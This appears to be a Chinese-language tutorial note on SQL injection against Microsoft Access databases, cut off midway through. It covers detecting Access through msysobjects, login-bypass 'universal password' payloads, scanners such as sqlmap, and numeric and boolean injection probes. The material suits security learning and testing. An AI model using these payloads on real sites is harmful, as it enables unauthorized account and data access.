2023-12-19 23:16:57    37    0    0

ACCESS数据库注入

title

ACCESS没有数据库,文件型数据库

ACCESS语法指南
https://support.microsoft.com/zh-cn/office/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E6%B3%95%E6%8C%87%E5%8D%97-ebc770bc-8486-4adc-a9ec-7427cce39a90
Office 2007之前的 Access数据库文件的后缀是 .mdb
Office 2007之后 Access数据库文件的后缀是.accdb

判断数据库类型

exists(select*from msysobjects) #如果这条语句正确,说明是Access数据库
exists(select*from admin) # 自建的数据库是没有msysobjects
'and exists(select*from msysobjects)

万能密码

  1. 'or'='or' # 通杀万能密码
  2. admin'or'1'='1 # 注入点在username,需要知道一个用户名。
  3. 'or'1'='1 # 注入点在password,不需要任何信息。

注入探测

1、 fuzz 字典

1.1、通过表达式闭合或者报错发现
1.2、通过算术运算符或逻辑运算发现

2、 被动扫描工具
xray,burpsuite
3、 主动扫工具
sqlmap,awvs

数字型探测

构造返回值为==数字类型==能被SQL正常执行,存在sql注入。
==加减乘除==配合==算术运算函数==构造表达式。

  1. SELECT * FROM [admin] WHERE ID = SQRT(4)/2;
  2. SELECT * FROM [admin] WHERE ID = ABS(4)/2;

算术运算符

  1. ABS(number) # 绝对值函数
  2. SQRT(number) # 平方根函数
  3. CEILING(number) #向上取整函数

布尔表达式构造

  1. 表达式1 AND 表达式2 # 当表达式1为真才会执行表达式2
  2. 表达式1 OR 表达式2 # 当表达式